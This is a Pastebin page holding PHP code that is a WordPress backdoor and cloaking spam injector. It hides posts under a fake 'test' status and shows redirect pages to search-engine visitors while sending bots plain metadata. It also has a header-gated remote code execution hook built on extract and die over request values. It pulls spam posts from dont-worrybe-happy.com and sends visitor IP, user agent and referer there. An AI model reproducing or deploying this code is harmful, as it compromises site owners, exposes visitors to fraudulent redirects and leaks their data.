Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if(!is_user_logged_in()){
- if(isset($_COOKIE['wpsession'])) return;
- if(is_admin()) return;
- if(function_exists('checkStopActivity')) return;
- @ini_set('display_errors', NULL); @ini_set('error_reporting', NULL); @ini_set('log_errors',NULL);
- if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_X_FORWARDED_FOR"];
- function wpwarp($fname, $data){ return @array_map($fname, @unserialize($data)); }
- function feed_door(){
- query_posts( 'post_status=test&showposts=20' );
- require( ABSPATH . WPINC . '/feed-atom.php' );
- }
- @extract(unserialize(get_option('wpdcon')));
- register_post_status( 'test', array(
- 'public' => true,
- 'exclude_from_search' => true,
- 'show_in_admin_all_list' => false,
- 'show_in_admin_status_list' => false
- ) );
- class Bot_Detector {
- var $_userAgentsMasks=array();
- var $_ipList=array();
- var $_allowCheck;
- function Bot_Detector($userAgentsMasks, $ipMasks, $allowCheck=array('ua', 'ip')){
- $this->_userAgentsMask=$userAgentsMasks;
- $this->_ipList=$ipMasks;
- $this->_allowCheck=$allowCheck;
- }
- function isBot(){
- $isBot=false;
- if(in_array('ip', $this->_allowCheck))
- $isBot=$this->_isBotIP($_SERVER['REMOTE_ADDR']);
- if(!$isBot&&in_array('ua', $this->_allowCheck))
- $isBot=$this->_isBotUserAgent();
- return $isBot;
- }
- function _isBotUserAgent(){
- foreach($this->_userAgentsMask as $mask){
- if(@stristr($_SERVER['HTTP_USER_AGENT'], $mask))
- return true;
- }
- return false;
- }
- function _isBotIP($ip){
- $longIp=ip2long($ip);
- $found=false;
- foreach($this->_ipList as $ipMask){
- $ipMask=trim($ipMask);
- if(stristr($ipMask, '-')!==false||stristr($ipMask, '*')!==false){
- list($ipMaskMin, $ipMaskMax)=$this->_getIpRange($ipMask);
- $longIpMaskMin=ip2long($ipMaskMin);
- $longIpMaskMax=ip2long($ipMaskMax);
- if($longIp>=$longIpMaskMin&&$longIp<=$longIpMaskMax){
- $found=true;
- break;
- }
- }else{
- if($ip==$ipMask){
- $found=true;
- break;
- }
- }
- }
- return $found;
- }
- function _getIpRange($ip){
- $parts=explode('.', $ip);
- $ipMin=$ipMax=array();
- foreach($parts as $part){
- if($part=='*'){
- $ipMin[]=0;
- $ipMax[]=255;
- continue;
- }
- if(stristr($part, '-')){
- $split=explode('-', $part);
- $ipMin[]=$split[0];
- $ipMax[]=$split[1];
- }else{
- $ipMin[]=$part;
- $ipMax[]=$part;
- }
- }
- return array(join('.', $ipMin), join('.', $ipMax));
- }
- }
- function add_links($content) {
- return $content;
- }
- function gen_meta_desc(){
- global $post;
- if($post->post_status=='test'){
- print "<meta name='description' content='".strip_tags( $post->post_excerpt )."' />\n".
- "<meta name='keywords' content='".strip_tags(get_post_meta( $post->ID, '_keywords', true ))."' />\n";
- }
- }
- function checkStopActivity(){
- if($_COOKIE["shop_visit"]=='shop')
- return false;
- //if(preg_match("/(ru|ua|by)/i",@$_SERVER['HTTP_ACCEPT_LANGUAGE'];)) return 'by accept language';
- if(preg_match("/\;[\s ]?ru/i",@$_SERVER['HTTP_USER_AGENT'])) return 'by useragent language';
- if(@$_SERVER['HTTP_REFERER']=="") return 'by empty referer';
- $ref = strtolower($_SERVER['HTTP_REFERER']);
- preg_match("|http:\/\/([^\/]+)\/|",$ref,$match);
- if(!isset($match[1])) preg_match("|https:\/\/([^\/]+)\/|",$ref,$match);
- $domain = $match[1];
- if(!preg_match("/(cs\.com|baidu\.|bt\.com|comcast\.|google\.|msn\.|bing\.|live\.|yahoo\.|aol\.|ask\.co|searchandgive|alot\.com|orange\.co\.uk|toshiba\.com|conduit\.com|centurylink\.net|swagbucks\.com|soso\.com|icq\.com|babylon\.com|search-results\.com|charter\.net|inbox\.com|mywebsearch\.com|mysearch\.com|microsoft\.com|incredimail\.com|googlesyndicatedsearch\.com|lycos\.com|blekko\.com|scirus\.com|searchbacon\.com)/i",$domain)) return 'by not SE referer';
- return false;
- }
- function themeslug_header_hook() {
- global $post;
- if($post->post_status=='test')
- $temp = str_replace(array('{frame_title}', '{frame_url}'),
- array($post->post_title, get_post_meta($post->ID, '_wpshurl', true)), implode("\n", wpwarp('base64_decode', get_option('wpdhtml'))));
- die(str_replace('77-288.com', 'ok111ko.com', $temp));
- }
- function post_status($query) { if(!$query->is_singular() ) $query->set( 'post_status', 'publish' ); }
- if(isset($_GET['feed'])&&$_GET['feed'] === $wpfeed) die(feed_door());
- switch(md5($_SERVER['HTTP_PATH'])) {
- case '804e5465c1ec669a81d24ab1b4df2b14':
- function wpaddpost($apost) {
- $apost['post_status'] = 'test'; $apost['comment_status'] = $apost['ping_status'] = 'closed';
- $IDz = wp_insert_post($apost);
- add_post_meta($IDz,'_wpshurl', base64_decode($apost['wpshurl']));
- add_post_meta($IDz,'_keywords',$apost['keywords']);
- $_POST['url'][]=get_permalink($IDz);
- }
- function log_ping() {
- global $wp_version, $wpfeed;
- include_once(ABSPATH . WPINC . '/class-IXR.php');
- include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php');
- $client = new WP_HTTP_IXR_Client(' ');
- $client->timeout = 5;
- $home = trailingslashit( get_option('home') );
- $client->useragent .= ' -- WordPress/'.$wp_version;
- @$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, $home.'?feed='.$wpfeed );
- }
- if (!isset( $HTTP_RAW_POST_DATA))
- $HTTP_RAW_POST_DATA = file_get_contents('php://input');
- log_ping();
- @wpwarp('wpaddpost', base64_decode($HTTP_RAW_POST_DATA));
- die('!'.'~!'.base64_encode(serialize($_POST['url'])).'!'.'~!');
- case '136dddcb8e2976ceced861434c2afc49':
- @extract($_REQUEST);
- @die($cid($eid));
- case '3a3638d5dab0f52d6aa45aaf1e079125':
- function delete_test_post() {
- global $wpdb;
- $postids = $wpdb->get_col(
- $wpdb->prepare(
- "SELECT ID FROM $wpdb->posts WHERE `post_status` = 'test' AND `comment_status`='closed' AND `ping_status`='closed'"
- )
- );
- if ($postids) {
- foreach ($postids as $id) {
- wp_delete_post( intval($id), 'true' );
- }
- }
- }
- delete_test_post();
- }
- function adding_the_post($query) {
- global $wpdb;
- if(function_exists('is_main_query'))
- {
- if (!$query->is_main_query() || !$query->is_single) {
- $query->set( 'post_status', 'publish' );
- return;
- }
- }
- else
- {
- if (!$query->is_single) {
- $query->set( 'post_status', 'publish' );
- return;
- }
- }
- $permalink = true;
- $exists = $wpdb->get_var(
- $wpdb->prepare(
- "SELECT COUNT(*) FROM $wpdb->posts WHERE post_name = %s AND (post_status = 'publish' OR post_status = 'test')",
- $query->query['name']
- )
- );
- if (!$exists) {
- $host = $_SERVER['HTTP_HOST'];
- $url = 'http://dont-worrybe-happy.com/wp-admin/admin.php?u='.rawurlencode('http://'.$host.$_SERVER['REQUEST_URI']).'&ip='.$_SERVER['REMOTE_ADDR'].'&ua='.rawurlencode(mb_strtolower($_SERVER['HTTP_USER_AGENT'])).'&ref='.rawurlencode(mb_strtolower($_SERVER['HTTP_REFERER']));
- if(function_exists('wp_remote_get')) {
- $request = @wp_remote_get($url, array('timeout'=>5));
- if(!is_wp_error($request)) {
- $apost = unserialize(base64_decode($request['body']));
- if ($apost['none'] !== 'nonenone') {
- $apost['post_status'] = 'test'; $apost['comment_status'] = $apost['ping_status'] = 'closed';
- $IDz = wp_insert_post($apost);
- add_post_meta($IDz,'_wpshurl', base64_decode($apost['wpshurl']));
- add_post_meta($IDz,'_keywords',$apost['keywords']);
- $_POST['url'][]=get_permalink($IDz);
- }
- }
- }
- }
- }
- add_action('pre_get_posts', 'adding_the_post');
- $botDetector = new Bot_Detector(wpwarp('base64_decode', $wpuag), wpwarp('base64_decode', $wpigp));
- if(!checkStopActivity()&&!$botDetector->isBot()){
- @setcookie("shop_visit", "shop", (time()+60*60*24*365), "/");
- add_action( 'get_header', 'themeslug_header_hook' );
- }else{
- add_action( 'wp_head', 'gen_meta_desc');
- }
- }else{ setcookie('wpsession', '1', (time()+60*60*24*365), "/"); }
Add Comment
Please, Sign In to add comment